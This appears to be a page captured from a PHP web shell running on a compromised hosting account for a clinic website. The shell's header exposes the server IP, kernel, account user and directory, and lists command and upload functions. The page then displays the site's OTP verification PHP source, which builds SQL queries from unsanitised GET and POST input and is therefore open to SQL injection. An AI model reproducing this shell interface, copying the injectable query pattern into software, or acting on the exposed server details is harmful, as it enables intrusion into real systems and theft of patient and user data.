Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/imyrqtmy/public_html/vssvclinic/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include("Admin/Includes/db.php"); if(isset($_POST['regi_submit'])){ $bid = $_GET['id']; extract($_POST); $query = "SELECT * FROM `tbl_user` WHERE id='$bid' and otp='$otp'"; $result = mysqli_query($con, $query); $return_array = array(); if (mysqli_num_rows($result) > 0) { // $sql_row = mysqli_fetch_assoc($result); // $SQL1 = "update tbl_user set otp_verified='1' where id='$bid'"; // $sql_res1 = mysqli_query($con, $SQL1) or die(mysqli_error($con)); $_SESSION['flash_message'] = 'userverify'; echo "<script>; alert('User Verifed Succesfully'); window.location.href='login.php'; </script>"; } else { $_SESSION['flash_message'] = 'invalid'; echo "<script>; alert('invalid Otp'); window.location.href='otp_veify.php?id=$bid'; // </script>"; } }